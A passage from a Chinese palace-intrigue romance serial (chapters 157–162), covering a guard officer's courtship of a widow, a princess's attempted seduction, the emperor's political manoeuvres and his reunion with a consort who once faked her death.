于是,当伤口疼痛明显减轻,苗菁看着郭晓芸依旧每日紧张兮兮、嘘寒问暖的模样,他心中一动,作势要自己下床走动,一手撑在床沿,缓缓站起。 郭晓芸听见动静,立刻回身,紧张道:“你慢些,别急。”话音未落,只见苗菁身形猛地一晃,似乎脚下无力,整个人便朝着她的方向软倒下来。 “小心!”郭晓芸惊呼一声,不假思索地抢上前,张开手臂去扶。苗菁“恰好”倒进她怀里,高大的身躯带着不容忽视的重量和灼热体温,瞬间将她笼罩。他的手臂“无力”地搭在她肩上,灼热的呼吸就喷在她的耳畔。 郭晓芸被他撞得踉跄了一步才站稳,双手本能地环住他的腰背以作支撑。隔着一层单薄的寝衣,她能清晰地感受到男人结实紧韧的肌理线条,以及他身上的味道,让她心跳失序,脸颊轰地一下烧了起来。 “对、对不住……”苗菁虚弱的声音在她耳边响起,他的头似乎更沉地靠向她的肩颈,激起一阵细微的战栗。 郭晓芸浑身僵直,扶也不是,推也不是。她想他肯定是伤口还疼,身子虚,才会站不稳。可两人此刻的姿势实在太过亲密,他几乎整个人的重量都依偎着她,隔着薄薄的衣料,体温交融,心跳似乎都撞在了一处。 “没、没事……我扶你躺好。”她声音细若蚊蚋,脸颊烫得惊人,连耳根都红透了。 …… “轰”的一声,仿佛有什么在脑中炸开。郭晓芸浑身一僵,抬起眼帘,正对上苗菁近在咫尺的侧脸。 他下颌线紧绷,喉结不自觉地上下滚动了一下,原本苍白的面色此刻染上了一层可疑的薄红,那双总是沉稳锐利的眼眸,此刻半阖着,浓密的睫毛投下深深的阴影,却遮不住眼底翻涌的情潮。 苗菁似是想避开,却又因“虚弱”和姿势所限,动弹不得,只能将头埋得更低了些,灼热的呼吸尽数喷在她的颈窝,声音沙哑说着:“……对不住,芸姐,我……” 郭晓芸的脸颊红得几乎要滴出血来,不好问他到底哪里对不住她,忙低下头,用尽全身力气,半拖半抱地将苗菁迅速挪回了床榻上。 郭晓芸将苗菁安置好,嗫嚅着道:“我……我去看看药好了吗。” 说罢,她急切地转身逃离了现场。 第157章 做媒 坐在廊下药炉旁,郭晓芸手抚着发烫的脸颊,在最初的震惊和羞赧之后,心中翻腾的,除了难为情,竟并没有厌恶或愤怒。 郭晓芸想着,苗菁平时忙于公务,没有时间跟女子来往,他毕竟是个年轻男人,被女子那般亲密搀扶,有那种反应……虽令人尴尬,但似乎……也算人之常情? 他当时那样懊恼窘迫,连声道歉,想必也不是故意的。自己若因此事耿耿于怀,刻意疏远,反而显得小题大做,让两人都更加尴尬难堪。不如……就当没发生过,一切如常,或许还能自然些。 那日午后猝不及防的亲密接触,在两人的心湖里投下一枚石子,激起的涟漪久久无法平息。 郭晓芸怕再发生类似的尴尬,觉得苗菁也好得差不多了,便将照顾他的大部分活计重新交还给嬷嬷或小厮。 苗菁心中顿时涌起失落,知道是自己太心急,试探过了头。他原本只是想借着伤势,多亲近她一些,可身体的反应全然不受控制,反倒吓着她了。不过她并没有推开自己,想来并不讨厌自己的碰触。 苗菁自己也觉得是时候痊愈了,于是,不过两三日,他便已能如常下地行走,开始处理公务。 苗菁去了一趟北镇抚司,将积压的几桩要紧案卷处理完毕,又听了下属关于几位王爷府邸的监控汇报,待他从那衙门里走出来时,日头已微微偏西。 刚踏下衙门的石阶,尚未走到拴马桩前,苗菁眼角余光便瞥见一个熟悉的身影候在拐角处。那人面容白净,留着一把好胡须,脸上挂着惯常的、仿佛用尺子量出来的和煦笑容,正是晖善长公主府上的司丞——汤遥。 汤遥见苗菁出来,立刻快走几步上前,规规矩矩地拱手行礼:“下官汤遥,见过苗大人。大人公务辛苦。” 苗菁脚步微顿,面上不动声色,略一颔首,算是回礼:“汤司丞,在此等候,可是有事?” 汤遥直起身,笑容不变,说道:“是长公主殿下吩咐下官在此恭候大人。殿下说,有要事需与大人当面商议,特命下官前来相请。还望大人拨冗,移步公主府一趟。” 苗菁本就奉旨要去传话,此刻长公主主动派人来“请”,便顺势去了一趟公主府。 到了公主府,汤遥引着苗菁,穿过几重回廊,并未前往公主府惯常待客的花厅或书房,而是拐入了一条更为幽深静谧的路径,最终停在一处悬挂着“暖香坞”匾额的小院前。院门虚掩,里头悄无声息。 “大人,请在此等候。” 汤遥带着苗菁进了小院,小院布置得极为雅致,奇石盆景,兰草幽香,却空无一人,连个伺候的丫鬟仆妇都不见。正对着院门的是一间宽敞的轩室,门窗紧闭,垂着厚厚的帘幕,看不清内里情形。 苗菁在院中站定,等了一会儿,依旧不见长公主身影,心头的不耐与厌烦交织,他皱了皱眉,不再犹豫,转身便欲离开这诡异的地方。 “站住……” 就在他脚步即将迈出院门的刹那,一个娇柔婉转、却带着不容置疑命令意味的女声,从身后的轩室内传了出来,穿透厚重的帘幕,钻进他耳中。 苗菁身形一顿,不得不停下脚步。他缓缓转回身,面向那间轩室,面色已然沉了下去。 只见那厚重的布制帘幕被人从里面轻轻拉开,却并非全然敞开,后面竟还有一层用细密珍珠串成的珠帘。颗颗圆润的珍珠在透过窗棂的夕阳余晖下泛着温润的光泽,却也巧妙地隔断了视线,只留下朦胧暧昧的剪影。 透过那层晃动的珠帘,隐约可见室内铺设着华丽的波斯地毯,一张宽大的紫檀木软榻置于正中。软榻之上,一道曼妙的身影斜倚着,曲线毕露。榻上之人似猫一般趴着,峰峦起伏的轮廓若隐若现,随着呼吸微微起伏,带着靡丽慵懒的诱惑。 与此同时,一股甜腻醉人的香气从室内飘散出来,苗菁不觉蹙紧了眉头。他强压下翻腾的情绪,声音是刻意压制的平静:“不知长公主召见微臣,究竟有何要事?若无事,微臣衙中尚有公务,不便久留。” 珠帘后的身影似乎轻轻动了动,传来一声极轻的、带着鼻音的哼笑,慵懒依旧,却多了几分戏谑:“苗大人何必如此心急?本宫寻你来,自然是有正事。”她顿了顿,单手撑着腮,似乎在打量他,“苗大人今年……有二十一了吧?年轻有为,官居四品,前途无量。本宫听闻,苗大人至今尚未婚配?” 苗菁心中警铃大作,语气更冷:“此乃微臣私事,不劳长公主挂心。” “话不能这么说。”长公主的声音拖长了调子,“男大当婚,女大当嫁。苗大人为国事操劳,耽搁了终身,本宫既知道了,少不得要关心一二。不知苗大人可曾有婚约?若没有,本宫倒是很乐意,为你做一桩好媒。” 苗菁下颌线绷紧,几乎是从牙缝里挤出回答:“谢长公主美意。微臣并无婚约在身,”他话锋一转,语气斩钉截铁,“但微臣心中,已有属意之人。只待她孝期结束,微臣便会正式上门求娶,不敢劳烦长公主费心。” “哦?”珠帘后传来一声明显的嗤笑,充满了不以为然,“莫不是,就是你府上养着的那个寡妇?” 苗菁只觉得一股热血直冲头顶,额角青筋突突直跳,垂在身侧的双手瞬间紧握成拳,指甲深深掐进掌心,靠着刺痛才勉强遏制住那股几乎要喷薄而出的暴怒。 珠帘后的长公主似乎是睡累了,缓缓坐直了身子。这一动,那曼妙的剪影在珠帘后显得更为清晰诱人,曲线惊心动魄,带着一种毫不掩饰的、近乎挑衅的引诱姿态。 苗菁在她坐起的瞬间,便已别开了脸,不肯往轩室方向看一眼。 第158章 泄愤 苗菁一直沉默不语,像一尊冰冷的石像杵在那里。长公主隔着珠帘,瞧着他那副油盐不进的模样,顿觉无趣。她心里有些恼,可也知道苗菁与其他人不同,是姜玄的最信任的人,得换个法子对付他。 长公主撇了撇嘴,眼下逗弄苗菁的心思便也淡了,慵懒地往后靠了靠,曼妙的身姿在软榻上舒展开,声音也恢复了惯常的、带着一丝漫不经心威仪的调子:“罢了,今日叫苗大人来,除了闲话家常,倒也真有一桩正事。” 她顿了顿,指尖似乎无意识地绕着一缕垂下的发丝:“我那封地,你是知道的。这两年,一直……帮皇上种着庄稼。那种子、农具、牲口,还有年年要修的沟渠……样样都要银子,流水似的花出去。我出地也就算了,总不能连银子,也叫我一并担了吧?苗大人,你说说,是不是这个理?” 苗菁听她说起公事微微松了一口气,面上依旧无波,只公式化地躬身道:“长公主的意思,下官明白了。此事,下官定会一字不漏,转达圣听。” 长公主似乎对他的反应不甚满意,但也知道逼不出更多,只从鼻子里“嗯”了一声,算是听到了,随即抬了抬下巴:“皇上既有话让你带给本宫,那便说吧。” 苗菁等的就是这一刻。方才被她用郭晓芸身份刻意羞辱而强压下去的火气,此刻找到了一个合规的宣泄口——他不能以个人身份对长公主不敬,但却可以“忠实”地传达皇帝的旨意,甚至,在转述时,将那斥责的语气加重几分。 他苗菁挺直脊背,声音清晰而冷硬,带着一种公事公办的肃杀:“皇上口谕:长公主需谨记,前次戚少亭泄密之事,已属不该。若下次再有类似纰漏,为杜绝后患,长公主便不必再留居京城,即刻返回封地,无诏永世不得离境!皇上言尽于此,望长公主好自为之,勿谓言之不预。” 这番话,比皇帝当日原话更添了几分严厉和最后通牒的意味,尤其是“无诏永世不得离境”几字,掷地有声,毫无转圜余地。 珠帘后,长公主脸上的慵懒笑意慢慢僵住,随即化为一片铁青。她牙关紧咬,几乎是从齿缝里挤出声音:“本宫……知道了。请皇上放心,上次是下人疏忽,下次……绝不会再有这等事情发生。” 长公主心中恨极,不由将这笔账又算到了已死的戚少亭头上。 那个废物!不仅是个没屌用的天阉,更是个成事不足败事有余的惹事精!临死了还要险些给她惹出泼天大祸!幸好,那短命鬼已经死了,一了百了。 想到这里,她脑中竟诡异地跳出了前些日子明真郡主花宴上传回来的风声。据说戚少亭那个守寡的娘子薛嘉言,不仅将生意做得风生水起得了诰命,在花宴上应对刁难也从容不迫,言辞磊落,颇受一些夫人小姐私下称道。 长公主当时听了,只觉稀奇。如今联系戚少亭是天阉的秘闻一想……哈!夫君不行,便自己想办法怀了孩子,还敢抛头露面把日子过得这般红火,倒真是个厉害女子。或许,还是个值得一交的人物? 站在门外阴影处的苗菁,哪里知道长公主被皇帝口谕气的七窍生烟之时,思绪竟能飘飞到毫不相干的薛嘉言身上。他见话已带到,长公主也已“领旨”,多留一刻都觉污糟,立刻拱手,声音平板无波:“皇上口谕已传达,若无其他吩咐,下官告退。”说罢,不待里面回应,转身便走,步伐快而稳,仿佛身后有什么洪水猛兽。 珠帘内,长公主看着他几乎算是落荒而逃的背影,心中的怒气倒是奇异地平复了些许,嘴角甚至又勾起了一抹玩味的弧度。今日虽未得逞,还挨了顿训,但她也没太当回事。像苗菁这种年纪轻轻身居高位、又自诩正直不阿的男人,她见得多了。一开始总是摆出一副三贞九烈、非礼勿视、满口忠君社稷的硬骨头模样。 可是啊,这世上哪有她撬不开的缝?尤其是男人。权势、财富、美色、把柄……慢慢磨,慢慢喂,总有他松动、屈服,乃至主动凑上来的一天。过程越是曲折,得手之时才越有滋味。她有的是时间和耐心。 长宜宫内,姜玄正凝神批阅着堆积如山的奏章,朱笔时停时走,勾勒出不知多少人的命运。 当他翻到吏部呈上的新年官员升迁调动的拟定名单时,目光平静地扫过一个个名字。突然,他的视线在某个名字上微微一顿——薛千安。职位是户部从五品员外郎,拟升为正五品郎中。 这个名字,让他想起了张鸿宝先前禀报的,关于明真郡主花宴上的那件事。那个刻意刁难、试图当众羞辱薛嘉言以显摆自己出身高贵的薛思韫,正是这位薛千安的女儿薛思韫。 姜玄的唇角几不可察地向下撇了一下,发出一声极低的冷哼。他手腕一动,朱笔画下。一道鲜红刺目的斜杠,毫不留情地贯穿了“薛千安”三个字,仿佛一道判决。 姜玄随手将那份奏章合上,扔到了御案边缘。 “张鸿宝。” “老奴在。” “这份名单,打回吏部。”姜玄的声音不高,却带着不容置疑的威仪,“告诉他们,拟得不用心。这个薛千安,初入仕途便是承袭祖荫补的官,已属朝廷额外恩典。朕观其历年考绩,才干平平,无显着功绩,亦无大过,尸位素餐而已。如此之人,岂可循例再升?让他们重新斟酌,仔细看看名单里,是否还有这等庸碌之辈滥竽充数。” 张鸿宝心头一跳,连忙上前双手捧起那份奏章。他飞快地瞟了一眼那被划掉的名字,心下明了。他伺候皇帝多年,深知主子并非刻薄寡恩之君,对寻常官员的循例升迁很少直接驳回,尤其是这种熬够了年头、无大错的“惯例”晋升。 第159章 动向 张鸿宝犹豫了一瞬,还是躬着身子,小心翼翼地开口,试图缓和:“皇上圣明,洞察秋毫。只是……老奴多句嘴,这薛千安大人,今年已届不惑,在这个员外郎的位子上,实实在在熬了八年了。按着我朝官场惯例,资历熬到这份上,若无大错,升迁半级,也是……也是常理。” 姜玄闻言,只是抬起眼,目光如寒潭深水般落在张鸿宝身上,让他不由自主地缩了缩脖子。 姜玄手指在御案上轻轻一点,冷声道:“朕听闻,这位薛大人,连自己的家宅都治理不清,内帷不修,教养无方。一个连家都治不好的人,你让朕相信他能治理好一部事务?能担得起更重的责任?” 张鸿宝冷汗差点下来,知道皇帝这是真动了怒,且矛头直指薛家内宅之事,显然是因为花宴上薛二姑娘的所作所为迁怒其父了。他不敢再辩,只连连称是:“皇上教训的是,是老奴糊涂,目光短浅。” 姜玄却似乎觉得还不够,又冷冷地补充了一句,这话里的机锋更甚:“朕还听说,薛千安正心心念念,想与宋郁衷做亲家呢。” 宋郁衷是太后娘家堂兄,时任户部尚书,姜玄这话,意味深长。 “等他真把这门亲事做成了,届时,再让宋家的人,来替他向朕说情升迁吧。” “是,老奴明白了。这就将奏章发回吏部。” 张鸿宝再不敢多言,恭敬地将那份被打回的奏章放到待发的一摞文书最上面,心里为那位素未谋面的薛千安大人默哀了一瞬。得罪了不该得罪的人,这仕途的坎,怕是难过了。而这一切的源头,恐怕那位薛二小姐,还懵然不知呢。 奏章批阅完毕,最后一本合上,发出轻微的声响。姜玄搁下朱笔,缓缓站起身,伸展了一下因久坐而略显僵硬的肩背筋骨。 这时,殿门外传来细微的动静,甘松轻手轻脚地进来,躬身禀道:“皇上,苗大人来了,正在殿外候见。” “让他进来。”姜玄重新坐回御座,神色恢复了惯常的沉静。 不多时,苗菁的身影出现在殿门口。他步履比平日略显缓慢,但腰背依旧挺直,穿着一身玄色劲装,走到御案前数步处,拱手行礼,声音沉稳:“臣苗菁,叩见皇上。” 姜玄目光落在他身上,仔细看了两眼,才淡淡开口:“免礼。伤都好了?”语气听不出太多情绪,仿佛只是随口一问。 苗菁站起身,依旧微微垂首,恭敬答道:“回皇上,谢皇上从轻发落,臣已无大碍。虽未全然恢复,但恐耽误皇上吩咐的差使,不敢再行拖延,是以支撑着起来办事了。” 姜玄自然知道行刑的是北镇抚司的自己人,手下有分寸,那顿板子更多是警示和皮肉之苦。闻言,他只是几不可察地“嗯”了一声,算是接受了这个说法。他并非苛待臣下之人,但规矩就是规矩,赏罚必须分明。 “外头风声如何?”姜玄话锋一转,切入正题。这才是他此刻最关心的事情。 苗菁神色一凛,显然早有准备,条理清晰地回禀道:“回皇上,自几位王爷与郡王入京以来,臣等一直严密监视。表面上看,诸位王爷皆是寻常走动,拜访旧日同窗、同僚、故交,参与诗会、雅集,与往年回京时无异。然细细究之,内里各有深意。” 他略一停顿,继续道:“其中,以康王姜昀最为活跃,几乎每日皆有安排,会友名单涵盖部分中层文官、勋贵子弟,乃至一些在野的名士。” “雍王姜岑则更为迂回。借着为子女说亲的名头,除了此前明真郡主的花宴,其王妃、侧妃近日亦频繁与各家宗亲、显贵府邸的女眷相约,或去寺庙进香,或举办茶会、赏花。女眷往来,看似琐碎,却极易传递消息、联络感情,探查各家意向。” “瑞王姜曙与安王姜晗相对低调,但也未曾闲着,主要与一些闲散文官、富商往来,瑞王似对京城新近流行的海外奇珍颇有兴趣,安王则多出入书画古玩场所。” 说到这里,苗菁语气微沉,提及了重点:“而诸位王爷中,最沉静者,当属和安郡王。他少有大规模宴饮,每日行事颇有规律,读书、访友、入宫请安,看似最为本分。然而,他所见之人,分量却不轻。尤其是,他与宋家九老爷宋郁琮来往甚密,近日已私下会面三次,或在茶楼,或在宋郁琮的别院,交谈时间皆不短。” 将几位王爷的动向一一说明后,苗菁住了口,等待皇帝示下。 姜玄静静地听着,烛火在他深邃的眼眸中跳动,映出微光。几位王爷的表现,大多在他预料之中。康王的急切,雍王的深沉,瑞王安王的观望,都和他们的性格与处境相符。 片刻后,姜玄抬起眼,看向苗菁,又问道:“甄太妃被救走,雍王那边是何反应?” 苗菁垂首答道:“回皇上,据臣等监视,雍王府除了将先前看管太妃娘娘的一干人等秘密处决,清理痕迹之外,府内外并无其他异常大规模调动或搜查举动。” 他略微停顿,继续分析道:“太妃娘娘被救走的前一日,雍王原本与昭明郡王约好次日叙旧。事发之后,雍王便立刻派人以‘突发微恙’为由,推掉了这次会面。自那日起,直到今日,雍王便一直称病缩在府中,未曾踏出府门一步,也谢绝了几乎所有访客,连日常与王府属官的议事都暂时停止了。” 苗菁抬起头,目光沉稳:“臣以为,雍王此举,意在自保与表态。他极可能已经猜出,能在他王府内如此干净利落地将人救走,普天之下,唯有皇上一人。他不敢再生旁的心思,也深知此事关乎先帝嫔妃清誉与皇家体面,皇上无法、也不会以此事公开降罪于他。于是,他便选择龟缩在家,闭门不出,是在向皇上表明——他已知错,绝无反抗之意,请皇上高抬贵手。” 第160章 出宫 姜玄静静地听着,脑海中,却不合时宜地浮现出许多年前,第一次在宫宴上远远见到这位雍容华贵、备受先帝宠爱的二哥时的情景。那时的姜岑,甚至未曾正眼瞧过他这个不起眼的弟弟,眼神轻慢而疏离。 时隔数年,乾坤颠倒。自己已端坐在这至高之位,而那位曾经高不可攀的二哥,如今却因为自己的一次暗中行动,便吓得称病闭户,连门都不敢出。 权力啊…… 姜玄的唇角几不可察地弯起一抹极淡、却冷冽的弧度。果然是个好东西。它能让人低头,能让人畏惧,更能将昔日的轻慢与屈辱,无声无息地还回去。 “太妃娘娘的事情,关乎皇家体面与先帝身后名,确实不好张扬。”姜玄缓缓开口,声音听不出喜怒,“朕的确无法用这件事来公开降他的罪。不过,”他话锋一转,目光锐利地看向苗菁,“你给朕盯紧了他。祭祀大典期间,乃至他离京之前,雍王府内外,给朕看得滴水不漏。但凡他,或者他府中任何人,再有任何一点疏漏、一丝不该有的动静……朕就要他好看。新账旧账,一并清算。” “是!臣遵旨,定当严密监控,绝不给雍王可乘之机。”苗菁肃然应道。 说完几位亲王的事情,苗菁便将长公主所求之事禀报上来:“皇上,还有一事。今日长公主殿下召见臣时,提及她封地种庄稼的花销巨大,言辞间想让皇上拨些银两。” 姜玄闻言,眉头几不可察地蹙了一下。长公主封的支出有些超出他的预料,从国库走账绝无可能,一直是从他的私库抽调。 他沉吟片刻,道:“此事朕知道了。你再去见她时,可以告诉她,让她稍安勿躁,待祭祀大典过后,朕会安排人送银两给她。” 姜玄抬手捏了捏自己的额角,当初把福运粮行给薛嘉言时,庄稼种的还不多,他不需要那么多的银钱,没想到现在有些捉襟见肘了。 看来,少不得要跟她借点银子周转一下了,日后再补给她便是。 想到这里,姜玄的心情非但没有因缺钱而烦闷,反而莫名地轻松愉悦起来。这给了他一个再正当不过的去见她的理由。 姜玄放下手,对苗菁吩咐道:“朕后日要去枫林苑看望太妃娘娘。从枫林苑出来后,朕想顺道……见一见她。你去安排一下,务必隐秘稳妥。” 苗菁立刻躬身:“是,臣明白。定会安排妥当,确保万无一失。” “去吧。”姜玄挥了挥手。 三日后,恰逢休沐,朝堂暂歇。天色微明,姜玄便已起身,未换上了一身低调的雨过天青色锦缎常服,外罩一件同色暗纹披风,玉冠束发,通身上下并无过多纹饰,瞧着就像一位出身不俗、气质清贵的年轻公子。 他并未摆弄銮驾仪仗,只带了张鸿宝和两名扮作寻常家仆的心腹侍卫,悄无声息地登上了早已候在宫门外的一辆看似普通、实则内里宽敞舒适的青幔马车。 马车轱辘转动,缓缓驶离巍峨的宫墙。车轮碾过清晨微湿的街道,方向明确,一路朝着京城西郊的皇家行宫所在驶去。 长乐宫内,沁芳步履轻悄地走入暖阁,太后正倚在窗边的软榻上,手中拿着一卷书,目光却落在窗外初绽的玉兰上,显得有些心不在焉。 “娘娘。”沁芳近前,低声禀报,“皇上出宫了。车驾是往西郊行宫方向去的。” 太后闻言,眼睫微动,目光从窗外收回,落在沁芳脸上,语气平淡:“哦?可看真切了?” “千真万确,咱们的人亲眼瞧着车驾出了西华门,一路往行宫大道去了。”沁芳顿了顿,补充道,“想来……是柳美人月份渐大,皇上心里记挂,趁今日得空,去看看她吧。” 太后脸上神色微变,仿佛只是听了一桩无关紧要的小事。她将手中的书卷轻轻搁在膝上,沉默了片刻。 过了好一会儿,太后才缓缓开口,声音里听不出什么情绪:“今日春光正好,外头花开的热闹。整日闷在宫里,也觉着气闷。哀家忽然也想出去走走,透透气。” 她抬眼看向沁芳:“你去安排一下,哀家要去漱玉山房住两日。” 漱玉山房,乃是宋家在京西行宫附近的一处精美别院,依山傍水,景致清幽。当年太后嫁入皇家时,宋家将此别院作为嫁妆之一,一并送给了她。 沁芳心头微微一凛,面上却不显分毫,只恭敬应道:“是,婢子这就去安排车驾、侍卫,并通知漱玉山房那边准备接驾。” 太后点了点头,重新拿起书卷,目光却再次飘向窗外,那平静的面容下,不知在思量着什么。 然而,太后与沁芳所不知的是,皇帝的青幔马车在驶出京城一段距离后,并未直奔行宫,而是在一处岔路口的驿站停了下来。 休整完毕后,马车继续沿着大路,不紧不慢地朝着行宫方向驶去。车中端坐的,不过是一个身形与姜玄有六七分相似、穿着皇帝常服的替身罢了。 姜玄则换了一身衣裳,坐在另一辆马车中,闭目养神。 不多时,马车缓缓停在了枫林苑外。 初春时节,门口枫树枝头已悄然萌出嫩芽,新绿如烟,缀在褐色的枝桠间,满是勃勃生机。 姜玄掀开车帘,踏上青石阶,一步步朝里走去。 枫林苑内早有青衣小婢候在门边,敛衽行礼,引他穿过回廊。廊下竹影婆娑,药炉轻沸,一缕沉水香混着草药气息,在空气中袅袅不散,清寂而安宁。 内室窗明几净,素纱垂地,案上供着白玉三清雕像,旁侧青瓷瓶里斜插几枝新绿。甄太妃正坐在临窗的紫檀圈椅上,手执一卷《南华经》,听见脚步声,缓缓抬眸。 时隔数年未见,她竟似未老,眉目依旧如画,只是鬓边添了几缕银丝,非但不显衰颓,反衬得她气质愈发出尘,一身素色道袍宽大飘逸,恍若云中谪仙,不染尘俗。 姜玄喉头一哽。 第161章 寡妇又如何 姜玄记得幼时生病嫌药苦时,甄太妃悄悄塞给他的桂花糖;他夜半惊梦,是她披衣而来,坐在榻边轻拍他的背;他被母妃责打时,是她拉住母妃的手,柔声安慰他…… 世人只道甄太妃清冷孤高,拒人千里,可唯有他知道,她心肠最软,待人最真。 “娘娘……”他声音微哑,眼眶骤然发热,撩起衣袍下摆,就要跪下。 “哎——”甄太妃倏然起身,快步上前,一把扶住他胳膊,力道竟不小,“你这孩子!如今已是九五之尊,怎能给我一个方外之人行此大礼?” 姜玄仰头看她,眼中水光潋滟:“您是长辈。纵我是皇帝,也该给您行大礼。” “胡说!”她轻轻一嗔,语气带着不容拒绝的坚定,“我早已出家,青灯黄卷,不问世事。既非妃嫔,亦非亲眷,算不得你长辈。你若真念旧情,拱手作揖便是。” 姜玄知她性子,只得依言退后半步,深深一揖,袖袂拂地,如拜山岳。 两人分坐茶案两侧。小婢奉上新焙的雪芽,茶烟袅袅,氤氲如雾。 姜玄忍不住低声道:“娘娘,当初,您是怎么逃出去的?” 当年先帝驾崩,无子妃嫔皆要殉葬。姜玄听说名单上有甄太妃,哭着去求太后,说她虽无子,却待他如亲子,请太后开恩。 可太后只说‘祖制不可废’。姜玄那时只是个空有名分的未来帝王,手里无权,着急想要救甄太妃,吃不下睡不好,起了一嘴的燎泡。 哪知忽然传来消息,说甄太妃突发急症殁了,已先行移入皇陵……姜玄以为她真的走了,难过了许多日子。 甄太妃静静听着,唇角却浮起一丝冷笑。 “我可不想给那个老东西殉葬。” 她唇角勾起一抹极淡的笑,笑意却未达眼底。 “他活着时,得不到我的人;死了,也别想得到我的尸。” 姜玄握着茶盏的手微微收紧。 甄太妃继续道:“他一咽气,我便服了药。高热不退,满身起疹。太医来看了几次,心里都发怵,怀疑是时疫。那时候宫里人多,谁也不敢赌,若疫症真的传开了,多少人要掉脑袋?” 她语气淡然,仿佛说的不是自己的生死。 “于是他们不等我断气,便在名册上写了‘已亡’,说先挪去皇陵。皇陵里反正都是尸骨,也不怕被我感染。” 姜玄呼吸一滞。 “守陵的人,我家里早就打点好了。我被送进去没多久,就被换了出来。家人找了具身段相近的尸体替我放进去。等到先帝下葬,尸身早已发胀变形,谁还会凑近了细看?” 甄太妃说完,低头抿了一口茶,仿佛方才不过说了一桩再寻常不过的旧事。 室内一时寂静。 良久,姜玄才低声道:“那年……是我无能。” “傻孩子。”甄太妃轻轻摇头,“你那时才多大?无子妃嫔殉葬是太宗朝就定下的规矩,快一百年的铁律,岂是你一个尚未登基的皇子能撼动的?” 她目光柔和下来,“我自己原是留了后路的,只是当时情势危急,生怕走漏半点风声,连你也不敢告诉,倒累你为我担惊受怕这些时日。” 她说着,眼中透出欣慰的光,细细打量着眼前已褪去稚气的帝王:“你做得很好了。登基不满三年,竟能查到我被姜岑软禁,悄无声息地将我接出来,可见你如今已非当初那个束手无策的孩子,朝中权柄,到底握住几分了。” 姜玄却苦笑着摇头:“还差得远。军权大半仍握在几位老将军手中,便是内阁……也还是宋家把持着。” “怕什么?”甄太妃的声音平静如秋潭,“你才多大?这世间最公平的便是时辰——任他是谁,一天也只有十二个时辰。那些老东西……”她唇角微扬,那笑意里有一丝看透世情的淡然,“熬得过你么?不过是早晚的事。” 这话正说中姜玄心坎。他神色微振,点头道:“娘娘说的是。” 室内又静了片刻。姜玄忽然抬头,目光殷切:“娘娘此番既已回京,不如……便留在京城吧。如今我总有些人手,护您周全并非难事。若再遇上雍王那样的事——” “若如此,我当初何必假死脱身?”甄太妃笑着截住他的话,“先前是我大意,以为斩断尘缘便可得清净。往后自会当心。见你一面,知道你好好的,我便安心了。过些时日,还是要走的——天地偌大,总要去看看。” 姜玄心头一紧,此刻重逢方始,离别又在眼前,喉间像堵着什么,半晌才低声道:“我……快有孩子了。娘娘不看看我的孩子再走吗?” 甄太妃蓦然回头:“什么?可你至今未选妃……” “是没选妃。”姜玄面上掠过一丝赧然,声音压得更低,“明面上,是我宠幸了一名宫女,养在行宫待产。实则……”他顿了顿才道,“实则是我心仪之人所怀。只是眼下情势,还不能公之于众。” “这是为何?”甄太妃蹙起眉,“你若真心喜欢,纳进宫便是。莫非……”她神色微凝,“那女子身份不妥?”随即又摇头,“这也不打紧。先帝的珍嫔不就是从江南风月得出来的?当年宠冠六宫时,谁又敢多说半句?” 甄太妃所说的珍嫔是先帝从江南带回的美人,入宫不过数月,先帝便染了隐疾。宫中私下都传是珍嫔过的病。不久后,皇后寻了个由头将她罚跪宫道,那时珍嫔本就病着,一场秋雨淋下来,当夜就没了气息。 姜玄的手指在袖中蜷了蜷,终是低声道:“她是良家出身……只是,是个寡妇。” 甄太妃眼波微动,却没有太多讶异:“这也算不得什么。古来帝王后宫,二嫁之女亦非罕事。”她语气平和,仿佛在说一桩最寻常不过的旧闻,“前朝高宗继后,不也是以寡居之身入宫的么?只要人品端正,出身清白,这些虚名何必拘泥。” 第162章 去行宫 姜玄却垂下眼帘,没有接话。他不能提太后之事,只好委婉道:“我还未想好如何安置她。总得等朝堂再安稳些,等孩子平安落地再说。” 他说到这里,抬起眼看向甄太妃,刻意让语气里掺进一丝若有若无的委屈:“娘娘,您留下来帮我看着一点吧,这毕竟是我的第一个孩子。” 甄太妃她望着眼前已长成英挺帝王的青年,却恍惚又看见许多年前那个瘦小的孩子。生母不慈,父皇漠然,在冰冷的宫殿里踽踽独行。 她一生未育,性情本就清冷,可人心到底是肉长的,那些年里,她是真把姜玄当自家子侄疼的。此刻听他这般说,那点深埋的慈软便如春泉般汩汩涌出,再冷硬的心肠也化开了。 “罢了。”甄太妃轻轻叹息,“那我便留下来,等你那孩儿过了百日再走。” 姜玄心中算了算,甄太妃少说也要在京城留大半年。他眼底骤然亮起光来,嘴角不自觉扬起,那笑容里的欢喜,看得甄太妃心头又是一软。 “你呀……”她忍不住无奈也笑了。她自问早已斩断尘缘,可原来有些牵挂,是斩不断理还乱的。 “既如此,”甄太妃端起茶盏,浅呷一口道,“你回头安排我见见你那心上人。” 姜玄忙道:“是。等过几日祭祀大典忙罢,我便安排您见她。” 与此同时,京西行宫。 暖阳懒懒地铺在廊下,柳千茉倚着朱漆栏杆,有一搭没一搭地捏着盘里的芙蓉酥。那枚棉絮填的假肚子妥帖地缚在腰间,裹在藕荷色宽衫下,倒真显出几分孕态的丰腴。 行宫岁月悠长得近乎凝滞,她比年初进宫时圆润了些许,脸颊透出养尊处优的红润,只那双杏眼里,时常空落落地看着空无一人的花园。 “美人,皇上车驾到行宫了。”侍女碎步上前禀报。 柳千茉脸上先是一亮,随即那点光彩便如溅入深潭的火星,嗤地熄灭了。她慢条斯理地将半块酥饼放进嘴里,含糊道:“知道了。” 一旁贴身伺候的宫女慧慧偷觑她神色,小声劝道:“美人不去接驾么?皇上许是特地来看您的……” 柳千茉没应声,只用力嚼着口中的点心,甜腻的滋味在舌尖化开,却莫名泛出苦意。来的是皇帝车驾,又不是皇帝本人——这已不是头一回了。 她早猜出里头那位万岁爷,怕是早已金蝉脱壳,不知往哪个角落里私会真正的心头肉去了。 她算什么?不过是个幌子罢了。 “噔”一声,柳千茉将最后半块酥饼掷回盘中,拍了拍手上的碎屑,起身道:“乏了,回屋歇晌。” 话音才落,方才那传话的侍女又气喘吁吁地折返,“美、美人……太后娘娘凤驾到了!说是顺路来……来看看您。” 柳千茉整个人僵在原地,脸上红润霎时退得干干净净,连唇色都白了。半晌,她才极缓极缓地吸了口气。 “知道了。”她听见自己的声音出奇地平稳,“替我更衣。太后娘娘驾临,不可失了礼数。” 柳千茉换了身藕荷色绣缠枝莲的宫装,腰间束带特意放得宽松,将那枚假肚子掩在层叠的衣褶下,却仍显出一段圆润的弧度。她扶着慧慧的手,一步步往前头客堂去,掌心沁出薄薄的冷汗。 